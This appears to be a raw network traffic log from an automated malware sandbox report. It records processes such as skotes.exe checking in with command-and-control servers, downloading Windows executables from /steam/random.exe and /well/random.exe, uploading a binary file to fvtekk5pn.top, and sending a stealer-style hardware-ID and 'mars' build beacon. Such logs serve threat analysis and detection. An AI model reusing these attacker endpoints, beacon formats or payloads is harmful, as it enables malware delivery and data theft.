Nov 24, 2024 02:14:39.696285009 CET	1236	IN	Data Raw: 4f 3a 3b 6c de b2 c5 e8 f5 28 75 a8 ba 8f 35 c7 2d 9c 0b 2f ad 20 75 1a e5 69 da b1 96 9e 61 f6 1c 01 00 b3 8d 2e 98 9c 8c 0f 33 65 02 87 14 68 64 c2 dc 21 f7 8e 7f 30 3c 92 97 f2 9f 4f c8 47 b0 5d 03 e0 30 83 79 64 00 7d ce 61 2f fe 81 cc 09 b3 Data Ascii: O:;l(u5-/ uia.3ehd!0<OG]0yd}a/cl/P8.>nxhC,P1}nu,34'^ P3E`6<Guu5jQN$3v3F{jOZi8;`
Nov 24, 2024 02:14:39.696296930 CET	1236	IN	Data Raw: 3d 8e df c0 ff 9b c8 94 66 8e ee 65 e3 f3 9e 68 46 89 69 de 14 89 89 82 58 ce 90 6d 92 3a 7c 70 8a 18 ec 9c f0 a0 c2 13 eb 19 60 e5 be b7 19 e7 5c 93 cc 6c 5a c3 c6 dd 44 1a 86 80 94 ef 4c 88 38 0e 8d 60 22 c5 a4 26 c6 4a a1 2e 59 33 d5 7c 89 cf Data Ascii: =fehFiXm:\|p`\lZDL8`"&J.Y3\|H=hdOMdl,QJXy&Em`8dty!w%d1K:`fl"6n/qBh; RJuVe@D3ru
Nov 24, 2024 02:14:39.815872908 CET	1236	IN	Data Raw: 8e 43 98 a4 97 d9 e2 86 22 9f 8b 9d 54 02 7b e3 4c 2b d5 30 fd 7b c7 ac 1d ba 5a d9 c5 92 4a 92 88 f5 48 79 43 48 b3 f0 ab 61 41 ee 03 82 16 a1 17 4c cd fc 1f 0b 51 d1 ea 60 ff 6b 73 c3 d8 8f 1c b2 55 f9 dd f8 dc 63 26 76 c9 77 19 36 ac 87 2e 99 Data Ascii: C"T{L+0{ZJHyCHaALQ`ksUc&vw6.(juAb]E ZvNwTDLe=`km5mPP,m?!mB]uART}eiq\kE*o9ots6l/XPVa?

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	49888	34.116.198.130	80	7228	C:\Users\user\AppData\Local\Temp\1008563001\5ff77f639c.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:14:42.523437977 CET	12360	OUT	POST /v1/upload.php HTTP/1.1 Host: fvtekk5pn.top Accept: / Content-Length: 30017 Content-Type: multipart/form-data; boundary=------------------------z8I8usGQiZh8kd6Ck8zfh0 Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 7a 38 49 38 75 73 47 51 69 5a 68 38 6b 64 36 43 6b 38 7a 66 68 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 48 75 77 6f 73 6f 73 69 73 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 10 49 0f 31 f1 16 a0 88 13 ef bd 88 a1 e7 99 69 95 c7 5f c1 c4 b0 02 34 05 d0 fd 7c a1 47 cf 7b ab 98 06 d2 d8 c2 73 d9 f2 4e 9a 7a fb 53 d9 17 de e8 6a a7 ac f6 5b 38 49 dc 90 22 e3 85 3c 3e fc ba 64 68 7a 4a 3e 9d 0d 33 9d aa 6b 59 b1 19 4a 75 10 f5 fa 93 0e 94 2e 56 3e 41 94 30 24 42 05 72 58 94 6e 19 b8 23 2b b8 c2 c2 b9 df 14 09 97 f4 98 1f d4 5a 38 ef 4a f0 39 d3 59 bb 28 73 72 60 42 60 e9 f9 30 a1 7d d9 15 37 6a 28 f6 98 d6 66 27 eb 8b 2e 15 56 77 f0 b9 7d f4 d5 42 fe 2d 60 24 9d cd 53 76 0a e3 55 d4 45 9a c3 4b [TRUNCATED] Data Ascii: --------------------------z8I8usGQiZh8kd6Ck8zfh0Content-Disposition: form-data; name="file"; filename="Huwososis.bin"Content-Type: application/octet-streamI1i_4\|G{sNzSj[8I"<>dhzJ>3kYJu.V>A0$BrXn#+Z8J9Y(sr`B`0}7j(f'.Vw}B-`$SvUEK~Ns,oVxQ%7a4\LDh0dMfJ%`/ 41#DlM7/]itQvh> D\|zK&l+AKQr'`.cjHX(%0z@rTBx@NClWel4gl}fqIpt@otb%<\|0>quxfdjt:BMQqF6oe8PK1fegbuy+}C\|o\|2zj~'!Wrpld/NHGnC{PRrMl(*K8-aL")L.CYtR((K@j5gP"PJL\:WZNS\|\|bo3ObLtFyotKoQDZH/orukzmHbgZ1Oiy%M$,.GLYfLW\"oeQJ.FgsS:N [TRUNCATED]
Nov 24, 2024 02:14:42.644586086 CET	4944	OUT	Data Raw: eb 4f ff 7e fb 1d 90 91 12 80 ac a9 46 1b 38 af 7a d6 94 bf 53 21 3f ed 06 0f 68 91 75 65 85 84 42 e0 6a 10 f9 d3 a4 f8 f3 39 63 85 1e df bd fc 16 52 28 c2 bd 17 5d c3 e5 dd 4e 4d 42 f8 23 c4 af 87 63 12 16 76 df e5 66 7c 3b be b7 d4 52 e4 a8 fd Data Ascii: O~F8zS!?hueBj9cR(]NMB#cvf\|;RmyA:,iZf~RymL%Q/u@^Dt_=&tQS/3xyTf0N5iQn=7Mavv-[!b"&=A*9T9?q9"
Nov 24, 2024 02:14:42.644752026 CET	4944	OUT	Data Raw: 4c d9 b7 84 1d 35 10 19 60 40 08 b2 41 b0 0b 2b ae 9c 3e 47 44 41 d6 53 66 8c b0 cf 91 6a a2 6d eb 37 22 e9 db 4c 12 70 aa 5b 7a 6b ff 43 83 e8 86 1b 20 c6 d2 5c 20 84 08 72 99 37 04 66 95 d6 7c a1 cd b8 5d a7 ae de 6c 10 04 ed 53 81 a9 05 a0 04 Data Ascii: L5`@A+>GDASfjm7"Lp[zkC \ r7f\|]lSS/@Qq[QW4&Ydc~=Lt0Y0 bIel/to4M_zYiD\oA)FVxiZXJX(H&hBM4JOv.Je6Cd)9s>B
Nov 24, 2024 02:14:42.644865990 CET	4944	OUT	Data Raw: ac 99 e3 aa 99 d4 6b bf f7 00 cb ae 7d a7 93 fb 82 14 4b e2 cf 9b 2f 27 27 ac fc c9 10 8e e2 9e 18 fe 23 89 5f 30 35 ed ba 17 49 6d 2b bb 29 7a a1 f2 ec d7 ec aa b1 78 7b 86 4b a3 30 7e 44 b5 ff f0 18 8e 29 3c b9 da cb 43 ac 52 eb 6d 61 a7 c2 a8 Data Ascii: k}K/''#_05Im+)zx{K0~D)<CRman-V#fV4zr%'9Vd=XVDiH!}JjJ:/`JzOl'N<`U}O'"h3q[JYLmqgLt=
Nov 24, 2024 02:14:42.644980907 CET	2472	OUT	Data Raw: b1 23 e9 3e d2 76 40 91 36 5f 03 ef 13 ad bb fa 41 82 20 05 a3 94 78 8a d1 9d 69 df 2d 49 7a b7 4e b7 85 84 3d fc a0 2a 6c 41 33 19 8b ea 2d bf 59 07 90 36 2d 36 24 ee ab 67 ae 96 ae 69 0a 5e f3 87 71 8a 5e 3e e6 02 23 e0 7e b6 f6 b7 38 a9 68 a6 Data Ascii: #>v@6_A xi-IzN=*lA3-Y6-6$gi^q^>#~8hwi}WFs)^a1.Q8'~%4?(5XHD:v.G[,>Zi$If.tO"q;_S@W`m+&2WH4_
Nov 24, 2024 02:14:42.644996881 CET	534	OUT	Data Raw: 0b 31 3b 32 bb 49 4a fc c8 a9 19 3c 7e bc 3e f4 e5 ce 83 b3 bd 5c 0a 8d 8a 16 d2 97 80 8e 65 7e 92 49 a5 8b 2c 13 be fb f5 62 d1 7c 26 25 a1 52 d6 22 18 d7 21 74 07 4c 0a 3d 5f da 0b 1c b7 86 fa af 40 a5 40 40 a6 69 e5 b6 85 f3 52 65 52 5e 90 72 Data Ascii: 1;2IJ<~>\e~I,b\|&%R"!tL=_@@@iReR^r3NVO<\|Hr'uk5=,#\|Bx!Q}M@b..G0%hAX{TDl\;d b0IjsRK2L}E0^nCh>!^w?X@BX
Nov 24, 2024 02:14:44.265779018 CET	271	IN	HTTP/1.1 200 OK server: nginx/1.24.0 (Ubuntu) date: Sun, 24 Nov 2024 01:14:44 GMT content-type: text/plain; charset=utf-8 content-length: 2 x-ratelimit-limit: 30 x-ratelimit-remaining: 27 x-ratelimit-reset: 1732412673 etag: W/"2-nOO9QiTIwXgNtWtBJezz8kv3SLc" Data Raw: 4f 4b Data Ascii: OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	49895	185.215.113.43	80	2212	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:14:45.734548092 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 38 35 37 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008575001&unit=246122658369
Nov 24, 2024 02:14:47.120788097 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:14:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	49901	185.215.113.16	80	2212	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:14:47.255167007 CET	56	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 24, 2024 02:14:48.630553961 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:14:48 GMT Content-Type: application/octet-stream Content-Length: 1794560 Last-Modified: Sun, 24 Nov 2024 00:58:12 GMT Connection: keep-alive ETag: "67427a24-1b6200" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce ac e2 38 8a cd 8c 6b 8a cd 8c 6b 8a cd 8c 6b e5 bb 27 6b 92 cd 8c 6b e5 bb 12 6b 87 cd 8c 6b e5 bb 26 6b b0 cd 8c 6b 83 b5 0f 6b 89 cd 8c 6b 83 b5 1f 6b 88 cd 8c 6b 0a b4 8d 6a 89 cd 8c 6b 8a cd 8d 6b d1 cd 8c 6b e5 bb 23 6b 98 cd 8c 6b e5 bb 11 6b 8b cd 8c 6b 52 69 63 68 8a cd 8c 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4f c3 2f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 24 01 00 00 00 00 00 00 c0 68 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 f0 68 00 00 04 00 00 26 89 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$8kkk'kkkk&kkkkkkjkkk#kkkkRichkPELO/g$h@h&@M$a$$ $b@.rsrc$r@.idata $t@ *$v@qflvhncsNx@uedzvgbuh<@.taggant0h"@@
Nov 24, 2024 02:14:48.630621910 CET	124	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 02:14:48.631382942 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 02:14:48.631433010 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 02:14:48.631463051 CET	248	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 02:14:48.631628036 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 02:14:48.631686926 CET	1236	IN	Data Raw: 94 0d 3c 00 4f 20 86 44 8c d3 18 37 d6 5e 98 95 6c 8a 63 b8 dd e6 3c 30 86 0f 18 b1 6d 18 13 80 fe 15 35 c3 1c 99 ce 4c 29 f8 4a 29 20 1c 1b 57 c1 a4 ed fc 2d 23 fc 7c dc 20 22 51 eb 43 4b 64 db 0b b7 6a 31 20 89 16 c2 9b 8b cb 6c 10 7c 48 1d 4f Data Ascii: <O D7^lc<0m5L)J) W-#\| "QCKdj1 l\|HOFd,bR:U~EP]Bn5^2L'>oJ5=_s'TW245z;j>Z";-$I$dHU%.Q[* * Mu JnIX`G/!7'zL
Nov 24, 2024 02:14:48.631716967 CET	248	IN	Data Raw: e3 94 3c 02 ce 0f a9 5e 5d e1 cf ff a7 e3 e9 d0 16 fa 11 c3 21 7c 05 3f 7b ab 00 d0 da d8 4f 59 01 74 6e ca c4 87 12 7b 8d c2 5d 14 18 c5 47 ca dd ea 8a ec 22 97 4c e9 9f 0d 47 39 f1 b3 86 20 a3 50 2a 2f 0f 71 24 8a f5 aa 25 66 74 86 b2 aa 8f 23 Data Ascii: <^]!\|?{OYtn{]G"LG9 P*/q$%ft#W>iJGBW\|\\?o`I(WXURsh)Xj\|GrtGu2tv&y:4Ww)M;L_bM!<`}[
Nov 24, 2024 02:14:48.632184982 CET	1236	IN	Data Raw: 5f 0d bc 9c f7 ad 14 e0 5b 53 c2 91 39 c3 3c 1c da f3 f5 c6 1c 6d 1c 2f 2e cf 29 78 ba ac d5 f7 1f 32 14 51 c5 4a 4f e9 2f 0e b4 61 67 9d 5e da 15 1f fa d2 93 4f 2e 28 4e 0f 8f 8a bd aa 34 bf 20 7f 86 8c 8c 22 7a 28 85 b0 2d 9c ee 76 5c 63 65 e9 Data Ascii: _[S9<m/.)x2QJO/ag^O.(N4 "z(-v\ce_S@G&;fhwv(4AMZc^C\}9)6( Mm1e!pp;>0$J%SPNdHXl,RzK'.w9aS\|0UaE9ng@7E/)
Nov 24, 2024 02:14:48.632289886 CET	1236	IN	Data Raw: d3 65 5a 90 1e 6b 92 db 85 a8 7b ac 16 49 ba a8 91 1d 86 5a b9 18 68 8c 4f cb 34 40 23 9b 4f 6c 17 5f 52 bf f2 1f 8e 6a 15 20 c6 7d e5 0f 39 67 56 96 ef cc 23 84 8e 5a 9d 92 4c 51 55 c8 32 30 24 29 12 56 5d 53 36 3b 91 97 86 5a 25 25 5a 60 23 cf Data Ascii: eZk{IZhO4@#Ol_Rj }9gV#ZLQU20$)V]S6;Z%%Z`#a E+\|P]Ez5+b^ I#TOHbL/W4'bE#:\|M(WF Yyz8A`HVLYoPL <F /Im ,dP -QCP
Nov 24, 2024 02:14:48.750191927 CET	1236	IN	Data Raw: c9 10 08 4a 45 1b dc e9 d5 8b 20 10 35 11 65 4c 2f 1d a8 59 1d ff a7 89 95 28 16 60 e4 29 12 64 82 23 92 68 99 8f 00 49 8f 48 e3 c1 13 6a 5a 68 28 47 92 20 ee 5a 1a bf 35 57 1b 7d 71 98 e6 c3 20 d1 1a 60 b0 7f ab 51 99 0f b6 bc 52 b8 2e 99 ad a8 Data Ascii: JE 5eL/Y(`)d#hIHjZh(G Z5W}q `QR. zG@aKbL(7I3O"e/ `3L1DX#IJI~&jK4/NOR:N.QXdpb.4N/zO<Q5# N^<6#p.'Ou7_HQUDx#ZL\

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	49919	185.215.113.43	80	2212	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:14:54.279408932 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 38 35 37 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008576001&unit=246122658369
Nov 24, 2024 02:14:55.622077942 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:14:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	49925	185.215.113.16	80	2212	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:14:55.790858984 CET	55	OUT	GET /well/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 24, 2024 02:14:57.134974003 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:14:56 GMT Content-Type: application/octet-stream Content-Length: 921600 Last-Modified: Sun, 24 Nov 2024 00:56:19 GMT Connection: keep-alive ETag: "674279b3-e1000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 ab 79 42 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 60 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 [TRUNCATED] Data Ascii: MZ@ !L!This program cannot be run in DOS mode.$j:j:Cj:@*n~{{{z{RichPELyBg"`w@p@@@d\|@u4@.text `.rdata@@.datalpH@.rsrc@@@.relocuv@B
Nov 24, 2024 02:14:57.135005951 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b9 74 0a 4d 00 e8 38 fd 01 00 68 e9 23 44 00 e8 8f f0 01 00 59 c3 68 f3 23 44 00 Data Ascii: tM8h#DYh#DYh#DrYY<h#DaYQh$DOY0MQ@0MP#h$D/Y%h$DYh!$DYA2h&$DYPh0$DY
Nov 24, 2024 02:14:57.135019064 CET	248	IN	Data Raw: b7 6c fd ff ff 8b ce e8 f7 ba 00 00 33 c9 c7 46 0c 01 00 00 00 89 0e 8b 03 8b 40 04 03 c7 39 88 98 fb ff ff 74 35 89 4d fc 51 8d 4d fc 51 8d 88 94 fb ff ff e8 2f 05 00 00 8b 03 8d 8f 98 fb ff ff 8b 40 04 03 c8 e8 c6 04 00 00 8b 03 8b 40 04 03 c7 Data Ascii: l3F@9t5MQMQ/@@ulIOkOu3_OO_`d<IvY\|#l)\DItv
Nov 24, 2024 02:14:57.135157108 CET	1236	IN	Data Raw: 87 4c fd ff ff 40 c9 49 00 59 39 9f 54 fd ff ff 0f 87 f2 0f 04 00 ff b7 50 fd ff ff 89 9f 54 fd ff ff e8 58 e8 01 00 8b f3 c7 87 3c fd ff ff 40 c9 49 00 59 39 9f 44 fd ff ff 0f 87 f1 0f 04 00 ff b7 40 fd ff ff 89 9f 44 fd ff ff e8 2e e8 01 00 8b Data Ascii: L@IY9TPTX<@IY9D@D.,@IY9404Y$<IvY-
Nov 24, 2024 02:14:57.135184050 CET	1236	IN	Data Raw: 4d 00 89 0d 3c 15 4d 00 89 0d 40 15 4d 00 a2 50 15 4d 00 66 a3 fc 16 4d 00 89 0d f4 16 4d 00 89 0d f8 16 4d 00 b9 fa 00 00 00 58 89 0d 14 17 4d 00 a3 44 15 4d 00 a3 48 15 4d 00 89 0d 4c 15 4d 00 c3 55 8b ec 57 8b f9 80 7f 09 00 0f 85 72 0c 04 00 Data Ascii: M<M@MPMfMMMXMDMHMLMUWrVj@YuON8w^_]UVuWVgFO GFGFGF aPF0G0_^]33@AQQQQA,Q Q(Q0V&NW
Nov 24, 2024 02:14:57.135216951 CET	1236	IN	Data Raw: 8d 8e 64 01 00 00 75 1e 80 be 6d 01 00 00 00 8b 8e 68 01 00 00 75 16 8b 49 04 8b 45 0c 41 89 08 5f 5e c9 c2 08 00 e8 de 08 00 00 eb f3 8b 49 30 eb e5 55 8b ec 83 ec 18 83 65 ec 00 8d 45 ec 83 65 f4 00 56 83 ce ff c7 45 f8 01 00 00 00 56 50 ff 75 Data Ascii: dumhuIEA_^I0UeEeVEVPuuxMM3M^At)ttH9AxUSVu3WyQ>t(M@f9Xu8!t
Nov 24, 2024 02:14:57.135238886 CET	1236	IN	Data Raw: 5d fc 8d 45 ec 43 89 7d ec 50 8d 8d 6c ff ff ff 89 5d fc 47 e8 ed 03 00 00 8b 85 70 ff ff ff 89 45 c0 8b 55 f8 e9 8a fe ff ff 8b 41 04 6a 7f 59 66 39 48 08 0f 85 bc 05 04 00 8b 45 fc 48 4f 83 bd 6c ff ff ff 00 89 45 fc 0f 84 83 03 04 00 80 bd 75 Data Ascii: ]EC}Pl]GpEUAjYf9HEHOlEuE{lepEE;&r8EE}TPGZEHXE!#AjYf9HmME@E0
Nov 24, 2024 02:14:57.135260105 CET	1236	IN	Data Raw: 47 04 8b 46 08 89 47 08 8b 46 0c 89 47 0c 8d 46 10 83 61 08 00 50 e8 e0 d7 00 00 8d 46 20 8d 4f 20 83 61 08 00 50 e8 d0 d7 00 00 8b c7 5f 5e 5d c2 04 00 33 d2 33 c0 40 89 51 10 89 41 1c 89 51 18 89 41 2c 8b c1 89 51 20 89 51 28 c3 55 8b ec 8b 45 Data Ascii: GFGFGFaPF O aP_^]33@QAQA,Q Q(UE}}u4}}}} u}$~3] jjwsjjsjUVF}^W3jZQL>3YNF~F<BN
Nov 24, 2024 02:14:57.135278940 CET	1236	IN	Data Raw: 8d 85 00 00 ff ff 8b fa 50 ff 31 ff 15 0c c2 49 00 8b f0 8b cf 8d 85 00 00 ff ff 50 e8 7d 3d 00 00 85 f6 5f 0f 95 c0 5e c9 c3 55 8b ec b8 58 00 01 00 e8 60 f1 03 00 a0 64 13 4d 00 56 8b 75 08 57 8b f9 88 47 02 83 7e 04 00 0f 84 22 fe 03 00 8b d6 Data Ascii: P1IP}=_^UX`dMVuWG~"uQVqYPVw_^UtSV3MW]{uME4I]]]]xMMEhIM'nj5MM]]]&
Nov 24, 2024 02:14:57.135307074 CET	1236	IN	Data Raw: 00 8b 45 14 83 c4 0c 8b 8f d0 09 00 00 33 f6 89 4d fc 6a 08 5b 6a 01 5a 2d 00 02 00 00 0f 85 eb fb 03 00 6a 40 5e 6a f5 8b cf e8 10 00 00 00 85 77 0c 0f 85 9f fc 03 00 5f 5e 5b c9 c2 10 00 55 8b ec 51 53 56 57 6a 14 8b d9 e8 ff ca 01 00 8b f8 59 Data Ascii: E3Mj[jZ-j@^jw_^[UQSVWjYwxvU};tPuEEP_^[UVjUYa~uNN^]FHUVEPPh1hI
Nov 24, 2024 02:14:57.254635096 CET	1236	IN	Data Raw: 90 19 4d 00 5f 5e 66 89 1d 24 1b 4d 00 89 1d 28 1b 4d 00 89 1d 2c 1b 4d 00 88 1d 30 1b 4d 00 89 1d 34 1b 4d 00 89 1d 38 1b 4d 00 88 1d 3c 1b 4d 00 89 1d 40 1b 4d 00 89 1d 60 23 4d 00 5b c3 55 8b ec 56 ff 75 08 8b f1 e8 19 00 00 00 6a ff 8b ce 8d Data Ascii: M_^f$M(M,M0M4M8M<M@M`#M[UVujP@#P[^]USVW3Ex}WtKEE33ft0E}PEEf9Et#C_fu}!_^[AUSVWh3D$

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	49927	185.215.113.206	80	1744	C:\Users\user\AppData\Local\Temp\1008576001\10d8464898.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:14:56.541996956 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 24, 2024 02:14:57.919240952 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:14:57 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 24, 2024 02:14:57.932559967 CET	412	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GDBFCGIIIJDBGCBGIDGI Host: 185.215.113.206 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 44 42 46 43 47 49 49 49 4a 44 42 47 43 42 47 49 44 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 34 43 46 31 35 36 32 44 42 45 35 38 34 35 37 37 30 33 39 37 0d 0a 2d 2d 2d 2d 2d 2d 47 44 42 46 43 47 49 49 49 4a 44 42 47 43 42 47 49 44 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 47 44 42 46 43 47 49 49 49 4a 44 42 47 43 42 47 49 44 47 49 2d 2d 0d 0a Data Ascii: ------GDBFCGIIIJDBGCBGIDGIContent-Disposition: form-data; name="hwid"C4CF1562DBE5845770397------GDBFCGIIIJDBGCBGIDGIContent-Disposition: form-data; name="build"mars------GDBFCGIIIJDBGCBGIDGI--
Nov 24, 2024 02:14:58.381409883 CET	210	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:14:58 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	49938	185.215.113.43	80	2212	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
